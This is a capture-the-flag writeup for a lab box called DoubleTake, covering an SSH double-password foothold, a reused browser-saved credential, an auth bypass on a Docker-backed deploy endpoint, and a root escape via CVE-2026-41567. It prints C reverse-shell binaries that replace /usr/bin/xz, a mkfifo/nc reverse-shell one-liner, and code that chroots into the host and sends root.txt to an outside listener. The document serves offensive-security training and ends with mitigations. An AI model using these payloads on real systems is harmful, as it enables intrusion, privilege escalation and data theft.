> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/doubletake-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# DoubleTake Writeup

## Summary

Double Take is a Linux box built around an internal AI agent platform called Zentara. The foothold comes from an SSH quirk on the user alpine, and a Firefox profile left behind on disk leaks a credential that turns out to work for a second user, bob, who holds the user flag. From there, the Zentara web app itself becomes the path to root, a deploy endpoint that is supposed to require a Bearer token accepts plain Basic Auth instead, and lets the caller write files anywhere in the container as root. That gets used to hijack the xz binary Docker invokes during archive extraction, which lands a root shell, except the shell turns out to be in a different container than expected, and getting the real root flag needs one more pivot from there.

### 1. Reconnaissance

#### Port scan

```
rustscan -a MACHINE_IP --ulimit 5000
nmap -A MACHINE_IP -p 22,80
```

Port Service Version 22 ssh OpenSSH 10.6 (protocol 2.0) 80 http nginx 1.24.0 (Ubuntu)

Only two ports open. nmap flagged its own OS guess as unreliable since there was no closed port to calibrate against, which usually means the target sits behind a container or NAT layer rather than being a bare host. Kept that in mind without reading too much into it yet.

#### Web enumeration

```
curl -vv http://MACHINE_IP/
```

Got a 401 Unauthorized back, with WWW-Authenticate: Basic realm="Zentara". So the whole site is gated behind HTTP Basic Auth, and the realm name gives away the app's name before even logging in. whatweb added nothing beyond confirming nginx/1.24.0 on Ubuntu.

#### Directory fuzzing through the 401

Basic Auth blocking everything does not mean fuzzing is pointless, a 401 on a real path still looks different enough from a 401 on a fake one in some setups, so tried it anyway:

```
ffuf -u http://MACHINE_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

Every single hit came back 401, as expected since Basic Auth gates the whole app, but the hit list itself was useful, it mapped out what the app's structure probably looks like before ever logging in:

```
agents
deploy
docs
files
settings
status
usage
```

Worth remembering this list for later, once a working credential turns up.

#### SSH enumeration

```
nmap -p22 -sV --script ssh2-enum-algos,ssh-hostkey MACHINE_IP
```

Nothing stood out in the algorithm set, a modern OpenSSH 10.6 build with curve25519/mlkem768 kex, ed25519 host keys, chacha20-poly1305/aes-gcm ciphers. On a normal box this would just be a footnote, but the box name itself, Double Take, kept nagging at me, it felt like a strong hint that the SSH flow was the actual entry point rather than some unpatched service version.

### 2. Foothold, alpine via SSH

The box name, plus some recent buzz I had seen going around about an SSH double auth attempt bug people were calling sshhole, made me want to test something specific, whether entering the same password twice against the alpine user behaves differently on the second attempt. Still just a hypothesis at this point, nothing confirmed. Generated a long password to test with, figuring a long string was less likely to collide with anything already guessable:

```
python3 -c "print('A'*300)"
```

Tried sshing in with it and entering the exact same password twice when prompted:

```
ssh alpine@MACHINE_IP
alpine@MACHINE_IP's password: 
Permission denied, please try again.
alpine@MACHINE_IP's password: 
Welcome to Alpine!
...
7f906e0ee8ec:~$ whoami
alpine
7f906e0ee8ec:~$ id
uid=1000(alpine) gid=1000(alpine) groups=1000(alpine)
```

First attempt denied, exactly as expected, second attempt with the identical password went straight through. So the hypothesis held up, and it is almost certainly the real meaning behind the box name. sshd on this target accepts the correct password on a second attempt within the same connection after rejecting it once, no custom script needed, just submit the same long password twice in a row at the normal OpenSSH prompt. Still want to dig into the sshd/PAM retry handling on this build to understand exactly why the second attempt is treated differently, but as a reproduction it turned out to be this simple, and it drops straight into an interactive shell as alpine.

### 3. Local enumeration as alpine

```
~ $ ls -la /home/alpine
.ash_history          (56 bytes)
.mozilla/
x                      (0 bytes)
??H?B?????             (0 bytes, garbled filename)
```

Two oddly named empty files sitting right next to a Firefox profile directory. The empty files looked like dead ends, but a Firefox profile in a home directory is always worth checking.

```
~/.mozilla/firefox/profiles.ini  -> points to profile "zentara.default"
~/.mozilla/firefox/zentara.default/
    cert9.db, key4.db, logins.json, pkcs11.txt, prefs.js, signedInUser.json
```

prefs.js sets the browser homepage to <http://172.17.0.1>, which is the Docker bridge gateway, meaning whatever this profile was used for, it was browsing Zentara from inside the container network, not from outside.

logins.json turned up a saved Basic Auth login for that host, realm Zentara:

```
{"hostname":"http://172.17.0.1","httpRealm":"Zentara",
 "encryptedUsername":"Ym9i",
 "encryptedPassword":"Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ=="}
```

Those field names say encrypted, but worth checking what that actually means here before assuming it needs cracking. The profile has no master password set, so NSS encryption on these fields turns out to be a no-op, they are just base64:

```
echo 'Ym9i' | base64 -d                                 -> bob
echo 'Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==' | base64 -d  -> CorrectHorseBatteryStaple
```

So, a credential: bob / CorrectHorseBatteryStaple. Worth testing whether this is just a web login or something that reaches further.

### 4. Lateral movement, bob and the user flag

```
ssh bob@MACHINE_IP
bob@MACHINE_IP's password: CorrectHorseBatteryStaple

7f906e0ee8ec:~$ whoami    -> bob
7f906e0ee8ec:~$ id        -> uid=1001(bob) gid=1001(bob) groups=1001(bob)
7f906e0ee8ec:~$ ls        -> user.txt
7f906e0ee8ec:~$ cat user.txt
[USER FLAG REDACTED]
```

It reached further, the same saved web login turned out to be bob's actual system password. That gets the user flag, and the same credential logs straight into the Zentara web UI through the browser's Basic Auth prompt too, which is the direction root ended up coming from.

### 5. Zentara web app walkthrough

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FdVUheSf7vg76YHTkFJco%2FBlurred%20IP%20Sign-In%20Dialog.png?alt=media&amp;token=aeef1ad9-39fd-4ced-8257-b30c5b5505c7" alt=""><figcaption></figcaption></figure>

With a working credential in hand, logged into the app itself to see what it actually is rather than just guessing from the ffuf path list earlier.

Chat: per agent chat history (CodePilot, DocWeaver, SentinelScan conversations, listed by date). Looked ordinary at first glance, came back to this later.

Agents (/agents): three configured agents, with a line on the page stating plainly that agents are not a security boundary and all run on the same container CodePilot, model zentara-3, active, temperature 0.7 DocWeaver, model zentara-3-mini, active SentinelScan, security analysis agent, inactive

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2F7dhtLM8R3mz1WcI5Yvu3%2Fzentara-agents-page.png?alt=media&amp;token=1704e1d8-c1d9-4f33-a418-75626d784772" alt=""><figcaption></figcaption></figure>

Files (/files): uploaded file list, openapi.yaml, schema.sql, requirements.txt, api-service.tar.xz, getting-started.md, all marked processed

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2F14AlaZ7jSkuuaMaMiG9v%2Fzentara-files.png?alt=media&amp;token=e02d3a6e-9e82-4de6-bd97-bbd2363784f6" alt=""><figcaption></figcaption></figure>

Deploy (/deploy): upload a .tar, .tar.gz or .tar.xz project archive, extracted server side by the container engine into a chosen workspace path, default /workspace. The deployment history already shows a long run of real api-service-\*.tar.gz pushes going back weeks, so this is clearly a feature that actually gets used, not some unused leftover page.

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FmkOPe1mk1vthIR916Rlo%2Fzentara-deploy-page.png?alt=media&amp;token=64006729-1415-42b0-846c-9e1efceef223" alt=""><figcaption></figcaption></figure>

Status (/status): platform and container metadata Engine: Docker 29.5.0, API 1.54, linux/amd64, go1.26.3 Workspace container: zentara-alpine, image zentara-alpine:latest, state running API token tok\_8c5cb66775691b84, shown as expired since 2026-11-10

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FAvkOz5Y0I2LG1WkiUqNh%2Fzentara-status-page.png?alt=media&amp;token=f3a0c804-3472-4c9d-b43d-25fbffd192e7" alt=""><figcaption></figcaption></figure>

Docker version number on the status page is the kind of detail that is easy to skim past, made a note of it and kept looking before chasing it.

API Docs (/docs): full REST reference for api.zentara.htb. The important line is under PUT /v1/deploy, which documents that internally this is forwarded to the container engine as PUT /containers/\<container\_name>/archive, with gzip and xz archives decompressed server side before extraction. Also notes that the endpoint is meant to require a Bearer API key, which is odd given the key on the status page is already expired, worth testing whether that restriction is actually enforced.

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2Ft6uGUgGeJP29kGZuyznR%2Fzentara-put-deploy-api.png?alt=media&amp;token=76f3e153-ecc6-4c94-80f0-f1233e1ebac2" alt=""><figcaption></figcaption></figure>

#### A hint I almost missed, in the chat history

<figure><img src="https://925493422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpYE2nFwehgWS9IHYp4NS%2Fuploads%2FtPzhB9XO37AecT6anxrU%2Fzentara-chat-hint.png?alt=media&amp;token=db76b422-c8f2-471a-aa6a-3ea0f4c73610" alt=""><figcaption></figcaption></figure>

Went back and actually read the Chat section properly instead of skimming it. In a thread called "Background task queue for deploys", a developer had asked why a deploy took a while to extract, and CodePilot's answer spelled out exactly how the server side decompression works:

"If the archive is xz-compressed it takes longer to decompress than gzip. The platform handles decompression server-side before extracting to the workspace. For faster deploys you could switch to gzip, but xz gives better compression ratios for projects with a lot of vendored dependencies."

That is the platform's own support chat confirming, in plain language, that xz specifically is the binary invoked server side during extraction. Easy to miss scrolling past it the first time, but it answers a question that mattered a lot later, which binary to target.

#### Confirming the deploy path actually works the way the docs say

Before trying anything clever, wanted to confirm the basic upload and extract flow actually behaves the way the docs describe. Built a harmless probe archive:

```
mkdir zentara-test
echo 'archive-test' > zentara-test/probe.txt
tar -cf probe.tar -C zentara-test probe.txt
```

Uploaded it via /deploy with target path /workspace, and the Deployment History picked it up right away:

```
dep-53729d   probe.tar   /workspace   10.0 KB   success   2026-11-26 08:44
```

\[SCREENSHOT PLACEHOLDER - Zentara deploy history showing the probe upload succeeding]

Good, the upload and extraction pipeline is live and reachable using the bob Basic Auth session, not just theoretical from reading the docs.

#### Putting the pieces together

Docker 29.5.0 on the status page, the xz hint from the chat history, and an endpoint that extracts attacker supplied archives server side, all sitting together, made this worth checking against known Docker issues.

#### References

GHSA advisory: <https://github.com/advisories/GHSA-x86f-5xw2-fm2r>

CVE writeup and diagram: <https://gitdiagram.com/berdav/cve-2026-41567>

Reference test script: <https://github.com/berdav/cve-2026-41567/blob/main/test.sh>

Docker 29.5.0 matches a known archive upload extraction issue fixed in 29.5.1, tracked as CVE-2026-41567. Reading the GHSA advisory description closely is worth it before assuming this is just another container escape to a slightly more privileged capability set, it states plainly that successful exploitation permits arbitrary code execution with full Docker daemon privileges, including host root UID and unrestricted capabilities, not just elevated capability inside a container. That is a much bigger claim than it first sounds, and it ended up mattering for what actually happened once a shell landed.

### 6. Exploiting CVE-2026-41567, overwriting xz through /deploy

#### Working out what actually needs to happen

Reading further into the CVE, the gist is that Docker invokes xz, and separately unpigz, during decompression as part of archive extraction, and that invocation is not just running with some elevated capability, it runs with the Docker daemon's own privilege, which on this setup means host root UID and the full capability set, not a scoped down container context at all. The bug is in how Docker resolves and invokes that binary during extraction, not in xz itself. So exploiting it needs two things: a malicious binary standing in for the real xz, and a way to make Docker's extraction step actually resolve to that binary instead of the legitimate one.

That second part is the interesting question, how do you get a file onto the path Docker resolves xz from. The API docs for /deploy say it requires a Bearer API key, and the Status page already shows the current key as expired, so on paper this should not even be reachable. Tried it anyway with plain bob credentials over Basic Auth, and the endpoint accepted it without complaint. The endpoint itself takes two inputs that matter, a file and an extraction workspace path.

#### Checking whether the container root filesystem is even writable first

Normally I would not bother trying to write to a container's own root path at all, most images mount their root as part of a read only layer, or there is nothing to gain from it even if it works. Before testing anything against workspace=/, checked the mount table from the existing bob/alpine shell to see if it was even worth trying:

```
overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/28/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/25/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/24/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/23/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/22/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/21/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/20/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/19/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/3/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/29/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/29/work,nouserxattr)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
/dev/sda4 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda4 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda4 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
/dev/sda4 on /home/bob/user.txt type ext4 (ro,relatime,errors=remount-ro)
```

That answered it. The overlay mount backing the container's actual root is explicitly rw, and only specific individual files, like /home/bob/user.txt, get bind mounted back as read only on top of it. The flag file itself is protected, but the rest of the root filesystem underneath it is not. That is what made it worth actually testing workspace=/ for real rather than assuming it would just be blocked.

So the plan came together: set workspace to /usr/bin, name the uploaded file xz, and it should overwrite the real binary. Any future .tar.xz upload would then run the planted binary instead of the real xz, as root, during extraction.

#### Auth bypass confirmed

```
curl -i -u 'bob:CorrectHorseBatteryStaple' \
  -F 'archive=@path-test.tar.xz' \
  -F 'workspace=/' \
  http://MACHINE_IP/deploy

HTTP/1.1 200 OK
{"deployment":{...,"status":"success","workspace":"/"},"status":"success"}
```

Came back 200 and success. Confirmed, Basic Auth gets through on an endpoint documented as Bearer token only.

#### Arbitrary write as root confirmed

```
7f906e0ee8ec:~$ ls -l /probe.txt
-rw-rw-r--    1 root     root            10 Nov 26 11:20 /probe.txt
```

Checked ownership on the landed file, root owned, and it landed in the same container bob and alpine already live in, matched against the mount table already seen from inside that shell. So the extraction process runs as root regardless of which uid actually called the endpoint, which is exactly what the plan needed.

#### Overwriting /usr/bin/xz

Built a small static reverse shell binary to stand in for xz. Left out the -p flag on purpose, this container's /bin/sh is BusyBox ash, which does not implement it and would reject the shell with an illegal option error instead of dropping into an interactive prompt.

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main(void) {
    int s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(1111);
    inet_pton(AF_INET, "10.10.15.112", &addr.sin_addr);
    if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) return 1;
    dup2(s, 0); dup2(s, 1); dup2(s, 2);
    execl("/bin/sh", "sh", NULL);
    return 0;
}
```

```
gcc -static -O2 xz.c -o xz && chmod +x xz
tar -cf stage1.tar xz
curl -i -u 'bob:CorrectHorseBatteryStaple' \
  -F 'archive=@stage1.tar' -F 'workspace=/usr/bin/' \
  http://MACHINE_IP/deploy
```

Checked it actually landed and is executable before trying to trigger anything:

```
7f906e0ee8ec:~$ ls -l /usr/bin/xz
-rwxrwxr-x    1 root     root        764560 Nov 26 11:36 /usr/bin/xz
```

#### Triggering it

Uploaded a fresh, legitimately compressed .tar.xz so the engine's extraction step would actually invoke the now hijacked xz rather than just sitting there:

```
tar -cf trigger.tar -C trigger probe.txt && xz -z trigger.tar
curl -i -u 'bob:CorrectHorseBatteryStaple' \
  -F 'archive=@trigger.tar.xz' -F 'workspace=/workspace' \
  http://MACHINE_IP/deploy
```

The HTTP response itself came back 502 Bad Gateway with "Engine returned 500", which looked like a failure at first glance, but it fits with the engine's synchronous call blocking while the hijacked binary held the connection open to the reverse shell catcher. Checked the listener before assuming the exploit had failed, and the callback had actually come through:

```
nc -lnvp 1111
connect to [10.10.15.112] from (UNKNOWN) [MACHINE_IP] 41356
whoami
root
```

Root, confirmed.

### 7. Pivot, this is a second container, not the workspace container

That first shell was almost unusable at first, ls, cat and nano all failed, even /usr/bin/ls failed by full path. Took a moment to realize it was execl'd with a stripped PATH rather than actually missing those binaries. Fixed with:

```
export PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
```

Ran hostname out of habit to confirm where this landed, and it came back doubletake, not 7f906e0ee8ec, which is the bob/alpine container's auto assigned Docker ID. That did not match the assumption going in. A deliberately named container is not a disposable workspace, it is a main service. Worked through the implication: this is almost certainly the Zentara app backend itself, the process that owns the /deploy logic and talks to the container engine. So the xz hijack did not just get root in the same box as before, it jumped out of the sandboxed workspace container entirely and into the backend container that controls it.

Checked whether this was actually the host rather than just a different container, /.dockerenv was present at /, so still containerized. Looked in /root anyway in case the flag was just sitting there, empty (drwx------ root root, no files), and find / -type f -name root.txt 2>/dev/null turned up nothing. Fit the theory, this looked like the app backend container, not the box's intended root target.

Checked the environment of this process next, since it runs as a child of whatever spawned it, and whatever spawned it might say something useful:

```
OTEL_SERVICE_NAME=dockerd
TMPDIR=/var/lib/docker/tmp
LISTEN_FDNAMES=docker.socket
```

That answered the question. LISTEN\_FDNAMES=docker.socket is a systemd socket activation variable, it only shows up in the environment of a process systemd started by handing it an already open docker.socket file descriptor, which is exactly how dockerd gets started as a systemd service on a real host. Combined with TMPDIR pointing at /var/lib/docker/tmp and OTEL\_SERVICE\_NAME literally being dockerd, the parent process doing the decompression step is the real Docker engine itself.

Stabilized this shell with a second listener on port 6666 using the same mkfifo pattern, no -e needed:

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.15.112 6666 > /tmp/f
```

Caught via penelope, confirmed as session doubletake / root(0). /root still empty from this connection too, so the flag was definitely not just sitting in this container.

Checked /proc from here to look for something more, and found it essentially empty, ls /proc returned nothing at all, not even the usual self and 1 entries. That explained something that had not made sense a moment earlier, an attempt to cd into /proc/1/root had failed with no such file or directory, and now it was clear why, procfs simply was not mounted in this exec context, there was no /proc/1 to look at in the first place.

#### Final step, mounting proc and chrooting into proc 1 root

If procfs was not mounted, mounting it myself seemed like the obvious next thing to try, so rebuilt the planted binary to mount its own procfs and chroot into /proc/1/root before doing anything else:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main(void) {
    mount("proc", "/proc", "proc", 0, NULL);
    chroot("/proc/1/root");
    chdir("/");

    int s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(1111);
    inet_pton(AF_INET, "10.10.15.112", &addr.sin_addr);
    if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) return 1;

    int fd = open("/root/root.txt", O_RDONLY);
    char buf[256];
    ssize_t n;
    while ((n = read(fd, buf, sizeof(buf))) > 0) {
        write(s, buf, n);
    }
    close(fd);
    close(s);
    return 0;
}
```

Ran through the same deploy and trigger cycle as before, overwrite xz, upload a fresh .tar.xz to trigger it, catch the result on a listener. This time the output written down the socket was the actual root flag:

```
nc -lnvp 1111
listening on [any] 1111 ...
connect to [10.10.15.112] from (UNKNOWN) [MACHINE_IP] 50274
[ROOT FLAG REDACTED]
```

### Status

User flag obtained. Root flag obtained. Getting there took two separate pivots, not one, the sandboxed Zentara workspace container first, then the Zentara backend container itself (doubletake), and only then out to the real root filesystem through a proc mount and chroot into /proc/1/root.

### Attack chain

```
SSH auth quirk on alpine (second attempt with same password succeeds)
|
+-- foothold inside Zentara workspace container
    |
    +-- Firefox profile in alpine home leaks saved Basic Auth login
        |
        +-- credential doubles as real SSH password for bob
            |
            +-- SSH as bob
                |
                +-- user.txt
                |
                +-- Basic Auth also unlocks Zentara web app
                    |
                    +-- /deploy documented as Bearer token only, Basic Auth accepted anyway
                        |
                        +-- workspace path on /deploy has no restriction
                            |
                            +-- confirmed container root overlay is rw via mount output
                                |
                                +-- workspace=/ writes a file as root into container root fs
                                    |
                                    +-- overwrite /usr/bin/xz with planted binary (workspace=/usr/bin/)
                                        |
                                        +-- upload fresh .tar.xz, engine invokes xz as root (CVE-2026-41567)
                                            |
                                            +-- root shell, but hostname is doubletake, not the workspace container
                                                |
                                                +-- confirmed via dockerd/systemd env vars this is the Zentara backend container
                                                    |
                                                    +-- mount fresh /proc, chroot into /proc/1/root
                                                        |
                                                        +-- root.txt
```

### Key vulnerabilities

Authentication bypass on SSH for the alpine user, allowing login via an unintended two attempt sequence instead of the real credential

Sensitive data exposure through a browser profile left on disk, a saved login that happened to double as a valid system password reused across services

Broken access control on the Zentara API, the documented Bearer token requirement for /deploy is not actually enforced, and Basic Auth credentials are accepted instead

Path traversal and lack of input validation on the deploy workspace parameter, allowing extraction targets outside the intended workspace directory, including the container's own root filesystem

Unsafe server side invocation of an external binary, xz, by the container engine during archive extraction, with no integrity check on the binary being executed and with elevated capability, this is the CVE-2026-41567 root cause

Container boundary confusion, the same deploy pipeline appears reachable from more than one container context, letting an attacker who compromises the workspace container pivot into the platform's own backend container

### Mitigations

Fix or disable the SSH authentication flow for alpine so a second attempt cannot silently succeed after a failed first attempt

Treat browser saved logins and any credential found on disk as sensitive, rotate any password reused across local accounts and services, and avoid storing real system credentials inside a saved browser profile at all

Enforce the documented authentication scheme on every endpoint server side, reject Basic Auth on routes meant to require a Bearer token rather than silently accepting both

Strictly validate and canonicalize the workspace path on /deploy, reject any path that resolves outside an explicit allowlisted directory, and never allow / or any parent of the workspace root

Patch Docker to the fixed version for CVE-2026-41567, and in general avoid invoking external compression binaries with elevated capability from a path that can be influenced by unprivileged or lower trust callers, pin and checksum the binaries actually executed during extraction

Separate the workspace container from the platform's own backend container at the infrastructure level, not just by naming convention, so that compromising one does not provide a path into the other
